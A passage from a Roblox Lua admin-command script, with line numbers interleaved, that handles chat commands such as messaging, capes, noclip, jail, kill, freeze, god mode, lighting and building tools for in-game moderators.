for i, v in pairs(lobjs) do v:Destroy() end
460
for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
461
end
462
 
463
if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
464
coroutine.resume(coroutine.create(function()
465
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
466
local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
467
local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
468
box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
469
end))
470
end
471
 
472
if msg:lower():sub(1,2) == "m " then
473
Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
474
end
475
 
476
if msg:lower():sub(1,2) == "h " then
477
Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
478
end
479
 
480
if msg:lower():sub(1,3) == "pm " then
481
local chk1 = msg:lower():sub(4):find(" ") + 3
482
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
483
Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
484
end
485
 
486
if msg:lower():sub(1,11) == "resetstats " then
487
local plrz = GetPlr(plr, msg:lower():sub(12))
488
for i, v in pairs(plrz) do
489
coroutine.resume(coroutine.create(function()
490
if v and v:findFirstChild("leaderstats") then
491
for a, q in pairs(v.leaderstats:children()) do
492
if q:IsA("IntValue") then q.Value = 0 end
493
end
494
end
495
end))
496
end
497
end
498
 
499
if msg:lower():sub(1,5) == "gear " then
500
local chk1 = msg:lower():sub(6):find(" ") + 5
501
local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
502
for i, v in pairs(plrz) do
503
coroutine.resume(coroutine.create(function()
504
if v and v.Character then
505
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
506
for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Character end end
507
obj:Destroy()
508
end
509
end))
510
end
511
end
512
 
513
if msg:lower():sub(1,4) == "hat " then
514
local chk1 = msg:lower():sub(5):find(" ") + 4
515
local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
516
for i, v in pairs(plrz) do
517
coroutine.resume(coroutine.create(function()
518
if v and v.Character then
519
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
520
for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
521
obj:Destroy()
522
end
523
end))
524
end
525
end
526
 
527
if msg:lower():sub(1,5) == "cape " then
528
local chk1 = msg:lower():sub(6):find(" ")
529
local plrz = GetPlr(plr, msg:lower():sub(6))
530
local str = "torso.BrickColor"
531
if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
532
local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
533
if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
534
if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
535
if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
536
if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
537
if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
538
if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
539
if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
540
if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
541
if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
542
if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
543
if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
544
if BrickColor.new(teststr) ~= nil then str = teststr end
545
end
546
for i, v in pairs(plrz) do
547
coroutine.resume(coroutine.create(function()
548
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
549
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
550
local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
551
repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
552
local torso = plr.Character.Torso
553
local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
554
p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
555
p.Size = Vector3.new(.2,.2,.2)
556
local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
557
local motor1 = Instance.new("Motor", p)
558
motor1.Part0 = p
559
motor1.Part1 = torso
560
motor1.MaxVelocity = .01
561
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
562
motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
563
local wave = false
564
repeat wait(1/44)
565
local ang = 0.1
566
local oldmag = torso.Velocity.magnitude
567
local mv = .002
568
if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
569
ang = ang + math.min(torso.Velocity.magnitude/11, .5)
570
motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
571
motor1.DesiredAngle = -ang
572
if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
573
repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag)  >= (torso.Velocity.magnitude/10) + 1
574
if torso.Velocity.magnitude < .1 then wait(.1) end
575
until not p or p.Parent ~= torso.Parent
576
script:Destroy()
577
]] cl.Parent = v.PlayerGui cl.Disabled = false
578
end
579
end))
580
end
581
end
582
 
583
if msg:lower():sub(1,7) == "uncape " then
584
local plrz = GetPlr(plr, msg:lower():sub(8))
585
for i, v in pairs(plrz) do
586
coroutine.resume(coroutine.create(function()
587
if v and v:findFirstChild("PlayerGui") and v.Character then
588
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
589
end
590
end))
591
end
592
end
593
 
594
if msg:lower():sub(1,7) == "noclip " then
595
local plrz = GetPlr(plr, msg:lower():sub(8))
596
for i, v in pairs(plrz) do
597
coroutine.resume(coroutine.create(function()
598
if v and v:findFirstChild("PlayerGui") then
599
local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
600
cl.Parent = v.PlayerGui cl.Disabled = false
601
end
602
end))
603
end
604
end
605
 
606
if msg:lower():sub(1,5) == "clip " then
607
local plrz = GetPlr(plr, msg:lower():sub(6))
608
for i, v in pairs(plrz) do
609
coroutine.resume(coroutine.create(function()
610
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
611
for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
612
v.Character.Torso.Anchored = false
613
wait(.1) v.Character.Humanoid.PlatformStand = false
614
end
615
end))
616
end
617
end
618
 
619
if msg:lower():sub(1,5) == "jail " then
620
local plrz = GetPlr(plr, msg:lower():sub(6))
621
for i, v in pairs(plrz) do
622
coroutine.resume(coroutine.create(function()
623
if v and v.Character and v.Character:findFirstChild("Torso") then
624
local vname = v.Name
625
local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
626
local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
627
local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
628
v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
629
v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
630
game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
631
v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
632
v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
633
end)
634
local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
635
local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
636
local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
637
local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
638
local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
639
local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
640
local msh2 = msh:Clone() msh2.Parent = back
641
local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
642
local msh4 = msh3:Clone() msh4.Parent = left
643
v.Character.Torso.CFrame = cf
644
end
645
end))
646
end
647
end
648
 
649
if msg:lower():sub(1,7) == "unjail " then
650
local plrz = GetPlr(plr, msg:lower():sub(8))
651
for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
652
end
653
 
654
if msg:lower():sub(1,11) == "starttools " then
655
local plrz = GetPlr(plr, msg:lower():sub(12))
656
for i, v in pairs(plrz) do
657
coroutine.resume(coroutine.create(function()
658
if v and v:findFirstChild("Backpack") then
659
for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
660
end
661
end))
662
end
663
end
664
 
665
if msg:lower():sub(1,6) == "sword " then
666
local plrz = GetPlr(plr, msg:lower():sub(7))
667
for i, v in pairs(plrz) do
668
coroutine.resume(coroutine.create(function()
669
if v and v:findFirstChild("Backpack") then
670
local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword"  sword.TextureId = "rbxasset://Textures/Sword128.png"
671
sword.GripForward = Vector3.new(-1,0,0)
672
sword.GripPos = Vector3.new(0,0,-1.5)
673
sword.GripRight = Vector3.new(0,1,0)
674
sword.GripUp = Vector3.new(0,0,1)
675
local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
676
local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
677
local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
678
repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
679
local Damage = 15
680
local SlashSound = Instance.new("Sound", script.Parent.Handle)
681
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
682
SlashSound.Volume = 1
683
local LungeSound = Instance.new("Sound", script.Parent.Handle)
684
LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
685
LungeSound.Volume = 1
686
local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
687
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
688
UnsheathSound.Volume = 1
689
local last = 0
690
script.Parent.Handle.Touched:connect(function(hit)
691
if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
692
local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
693
hit.Parent.Humanoid:TakeDamage(Damage)
694
end
695
end)
696
script.Parent.Activated:connect(function()
697
if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
698
script.Parent.Enabled = false
699
local tick = game:service("RunService").Stepped:wait()
700
if tick - last <= .2 then
701
LungeSound:play()
702
local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
703
local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
704
wait(.2)
705
script.Parent.GripForward = Vector3.new(0,0,1)
706
script.Parent.GripRight = Vector3.new(0,-1,0)
707
script.Parent.GripUp = Vector3.new(-1,0,0)
708
wait(.3)
709
frc:Destroy() wait(.5)
710
script.Parent.GripForward = Vector3.new(-1,0,0)
711
script.Parent.GripRight = Vector3.new(0,1,0)
712
script.Parent.GripUp = Vector3.new(0,0,1)
713
else
714
SlashSound:play()
715
local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
716
end
717
last = tick
718
script.Parent.Enabled = true
719
end)
720
script.Parent.Equipped:connect(function(mouse)
721
for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
722
UnsheathSound:play()
723
script.Parent.Enabled = true
724
if not mouse then return end
725
mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
726
end)]] cl.Disabled = false
727
end
728
end))
729
end
730
end
731
 
732
if msg:lower():sub(1,5) == "kill " then
733
local plrz = GetPlr(plr, msg:lower():sub(6))
734
for i, v in pairs(plrz) do
735
coroutine.resume(coroutine.create(function()
736
if v and v.Character then v.Character:BreakJoints() end
737
end))
738
end
739
end
740
 
741
if msg:lower():sub(1,8) == "respawn " then
742
local plrz = GetPlr(plr, msg:lower():sub(9))
743
for i, v in pairs(plrz) do
744
coroutine.resume(coroutine.create(function()
745
if v and v.Character then v:LoadCharacter() end
746
end))
747
end
748
end
749
 
750
if msg:lower():sub(1,5) == "trip " then
751
local plrz = GetPlr(plr, msg:lower():sub(6))
752
for i, v in pairs(plrz) do
753
coroutine.resume(coroutine.create(function()
754
if v and v.Character and v.Character:findFirstChild("Torso") then
755
v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
756
end
757
end))
758
end
759
end
760
 
761
if msg:lower():sub(1,5) == "stun " then
762
local plrz = GetPlr(plr, msg:lower():sub(6))
763
for i, v in pairs(plrz) do
764
coroutine.resume(coroutine.create(function()
765
if v and v.Character and v.Character:findFirstChild("Humanoid") then
766
v.Character.Humanoid.PlatformStand = true
767
end
768
end))
769
end
770
end
771
 
772
if msg:lower():sub(1,7) == "unstun " then
773
local plrz = GetPlr(plr, msg:lower():sub(8))
774
for i, v in pairs(plrz) do
775
coroutine.resume(coroutine.create(function()
776
if v and v.Character and v.Character:findFirstChild("Humanoid") then
777
v.Character.Humanoid.PlatformStand = false
778
end
779
end))
780
end
781
end
782
 
783
if msg:lower():sub(1,5) == "jump " then
784
local plrz = GetPlr(plr, msg:lower():sub(6))
785
for i, v in pairs(plrz) do
786
coroutine.resume(coroutine.create(function()
787
if v and v.Character and v.Character:findFirstChild("Humanoid") then
788
v.Character.Humanoid.Jump = true
789
end
790
end))
791
end
792
end
793
 
794
if msg:lower():sub(1,4) == "sit " then
795
local plrz = GetPlr(plr, msg:lower():sub(5))
796
for i, v in pairs(plrz) do
797
coroutine.resume(coroutine.create(function()
798
if v and v.Character and v.Character:findFirstChild("Humanoid") then
799
v.Character.Humanoid.Sit = true
800
end
801
end))
802
end
803
end
804
 
805
if msg:lower():sub(1,10) == "invisible " then
806
local plrz = GetPlr(plr, msg:lower():sub(11))
807
for i, v in pairs(plrz) do
808
coroutine.resume(coroutine.create(function()
809
if v and v.Character then
810
for a, obj in pairs(v.Character:children()) do
811
if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
812
end
813
end
814
end))
815
end
816
end
817
 
818
if msg:lower():sub(1,8) == "visible " then
819
local plrz = GetPlr(plr, msg:lower():sub(9))
820
for i, v in pairs(plrz) do
821
coroutine.resume(coroutine.create(function()
822
if v and v.Character then
823
for a, obj in pairs(v.Character:children()) do
824
if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
825
end
826
end
827
end))
828
end
829
end
830
 
831
if msg:lower():sub(1,5) == "lock " then
832
local plrz = GetPlr(plr, msg:lower():sub(6))
833
for i, v in pairs(plrz) do
834
coroutine.resume(coroutine.create(function()
835
if v and v.Character then
836
for a, obj in pairs(v.Character:children()) do
837
if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
838
end
839
end
840
end))
841
end
842
end
843
 
844
if msg:lower():sub(1,7) == "unlock " then
845
local plrz = GetPlr(plr, msg:lower():sub(8))
846
for i, v in pairs(plrz) do
847
coroutine.resume(coroutine.create(function()
848
if v and v.Character then
849
for a, obj in pairs(v.Character:children()) do
850
if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
851
end
852
end
853
end))
854
end
855
end
856
 
857
if msg:lower():sub(1,8) == "explode " then
858
local plrz = GetPlr(plr, msg:lower():sub(9))
859
for i, v in pairs(plrz) do
860
coroutine.resume(coroutine.create(function()
861
if v and v.Character and v.Character:findFirstChild("Torso") then
862
local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
863
end
864
end))
865
end
866
end
867
 
868
if msg:lower():sub(1,4) == "age " then
869
local plrz = GetPlr(plr, msg:lower():sub(5))
870
for i, v in pairs(plrz) do
871
coroutine.resume(coroutine.create(function()
872
if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
873
end))
874
end
875
end
876
 
877
if msg:lower():sub(1,5) == "fire " then
878
local plrz = GetPlr(plr, msg:lower():sub(6))
879
for i, v in pairs(plrz) do
880
coroutine.resume(coroutine.create(function()
881
if v and v.Character and v.Character:findFirstChild("Torso") then
882
local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
883
end
884
end))
885
end
886
end
887
 
888
if msg:lower():sub(1,7) == "unfire " then
889
local plrz = GetPlr(plr, msg:lower():sub(8))
890
for i, v in pairs(plrz) do
891
coroutine.resume(coroutine.create(function()
892
if v and v.Character and v.Character:findFirstChild("Torso") then
893
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
894
end
895
end))
896
end
897
end
898
 
899
if msg:lower():sub(1,6) == "smoke " then
900
local plrz = GetPlr(plr, msg:lower():sub(7))
901
for i, v in pairs(plrz) do
902
coroutine.resume(coroutine.create(function()
903
if v and v.Character and v.Character:findFirstChild("Torso") then
904
local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
905
end
906
end))
907
end
908
end
909
 
910
if msg:lower():sub(1,8) == "unsmoke " then
911
local plrz = GetPlr(plr, msg:lower():sub(9))
912
for i, v in pairs(plrz) do
913
coroutine.resume(coroutine.create(function()
914
if v and v.Character and v.Character:findFirstChild("Torso") then
915
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
916
end
917
end))
918
end
919
end
920
 
921
if msg:lower():sub(1,9) == "sparkles " then
922
local plrz = GetPlr(plr, msg:lower():sub(10))
923
for i, v in pairs(plrz) do
924
coroutine.resume(coroutine.create(function()
925
if v and v.Character and v.Character:findFirstChild("Torso") then
926
local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
927
end
928
end))
929
end
930
end
931
 
932
if msg:lower():sub(1,11) == "unsparkles " then
933
local plrz = GetPlr(plr, msg:lower():sub(12))
934
for i, v in pairs(plrz) do
935
coroutine.resume(coroutine.create(function()
936
if v and v.Character and v.Character:findFirstChild("Torso") then
937
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
938
end
939
end))
940
end
941
end
942
 
943
if msg:lower():sub(1,3) == "ff " then
944
local plrz = GetPlr(plr, msg:lower():sub(4))
945
for i, v in pairs(plrz) do
946
coroutine.resume(coroutine.create(function()
947
if v and v.Character then Instance.new("ForceField", v.Character) end
948
end))
949
end
950
end
951
 
952
if msg:lower():sub(1,5) == "unff " then
953
local plrz = GetPlr(plr, msg:lower():sub(6))
954
for i, v in pairs(plrz) do
955
coroutine.resume(coroutine.create(function()
956
if v and v.Character then
957
for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
958
end
959
end))
960
end
961
end
962
 
963
if msg:lower():sub(1,7) == "punish " then
964
local plrz = GetPlr(plr, msg:lower():sub(8))
965
for i, v in pairs(plrz) do
966
coroutine.resume(coroutine.create(function()
967
if v and v.Character then
968
v.Character.Parent = game:service("Lighting")
969
end
970
end))
971
end
972
end
973
 
974
if msg:lower():sub(1,9) == "unpunish " then
975
local plrz = GetPlr(plr, msg:lower():sub(10))
976
for i, v in pairs(plrz) do
977
coroutine.resume(coroutine.create(function()
978
if v and v.Character then
979
v.Character.Parent = game:service("Workspace")
980
v.Character:MakeJoints()
981
end
982
end))
983
end
984
end
985
 
986
if msg:lower():sub(1,7) == "freeze " then
987
local plrz = GetPlr(plr, msg:lower():sub(8))
988
for i, v in pairs(plrz) do
989
coroutine.resume(coroutine.create(function()
990
if v and v.Character and v.Character:findFirstChild("Humanoid") then
991
for a, obj in pairs(v.Character:children()) do
992
if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
993
end
994
end
995
end))
996
end
997
end
998
 
999
if msg:lower():sub(1,5) == "thaw " then
1000
local plrz = GetPlr(plr, msg:lower():sub(6))
1001
for i, v in pairs(plrz) do
1002
coroutine.resume(coroutine.create(function()
1003
if v and v.Character and v.Character:findFirstChild("Humanoid") then
1004
for a, obj in pairs(v.Character:children()) do
1005
if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
1006
end
1007
end
1008
end))
1009
end
1010
end
1011
 
1012
if msg:lower():sub(1,5) == "heal " then
1013
local plrz = GetPlr(plr, msg:lower():sub(6))
1014
for i, v in pairs(plrz) do
1015
coroutine.resume(coroutine.create(function()
1016
if v and v.Character and v.Character:findFirstChild("Humanoid") then
1017
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
1018
end
1019
end))
1020
end
1021
end
1022
 
1023
if msg:lower():sub(1,4) == "god " then
1024
local plrz = GetPlr(plr, msg:lower():sub(5))
1025
for i, v in pairs(plrz) do
1026
coroutine.resume(coroutine.create(function()
1027
if v and v.Character and v.Character:findFirstChild("Humanoid") then
1028
v.Character.Humanoid.MaxHealth = math.huge
1029
v.Character.Humanoid.Health = 9e9
1030
end
1031
end))
1032
end
1033
end
1034
 
1035
if msg:lower():sub(1,6) == "ungod " then
1036
local plrz = GetPlr(plr, msg:lower():sub(7))
1037
for i, v in pairs(plrz) do
1038
coroutine.resume(coroutine.create(function()
1039
if v and v.Character and v.Character:findFirstChild("Humanoid") then
1040
v.Character.Humanoid.MaxHealth = 100
1041
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
1042
end
1043
end))
1044
end
1045
end
1046
 
1047
if msg:lower():sub(1,8) == "ambient " then
1048
local chk1 = msg:lower():sub(9):find(" ") + 8
1049
local chk2 = msg:sub(chk1+1):find(" ") + chk1
1050
game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
1051
end
1052
 
1053
if msg:lower():sub(1,11) == "brightness " then
1054
game.Lighting.Brightness = msg:sub(12)
1055
end
1056
 
1057
if msg:lower():sub(1,5) == "time " then
1058
game.Lighting.TimeOfDay = msg:sub(6)
1059
end
1060
 
1061
if msg:lower():sub(1,9) == "fogcolor " then
1062
local chk1 = msg:lower():sub(10):find(" ") + 9
1063
local chk2 = msg:sub(chk1+1):find(" ") + chk1
1064
game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
1065
end
1066
 
1067
if msg:lower():sub(1,7) == "fogend " then
1068
game.Lighting.FogEnd = msg:sub(8)
1069
end
1070
 
1071
if msg:lower():sub(1,9) == "fogstart " then
1072
game.Lighting.FogStart = msg:sub(10)
1073
end
1074
 
1075
if msg:lower():sub(1,7) == "btools " then
1076
local plrz = GetPlr(plr, msg:lower():sub(8))
1077
for i, v in pairs(plrz) do
1078
coroutine.resume(coroutine.create(function()
1079
if v and v:findFirstChild("Backpack") then
1080
local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
1081
local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
1082
local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
1083
local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
1084
local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
1085
repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
1086
local sb
1087
local hs
1088
local pdist
1089
 
1090
script.Parent.Selected:connect(function(mouse)
1091
if not mouse then return end
1092
sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
1093
hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
1094
mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
1095
hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
1096
hs.MouseButton1Down:connect(function() pdist = 0 end)
1097
end)
1098
 
1099
script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
1100
end
1101
end))
1102
end
1103
end
1104
 
1105
if msg:lower():sub(1,5) == "give " then
1106
local chk1 = msg:lower():sub(6):find(" ") + 5
1107
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1108
for i, v in pairs(plrz) do
1109
coroutine.resume(coroutine.create(function()
1110
if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
1111
for a, tool in pairs(game.Lighting:children()) do
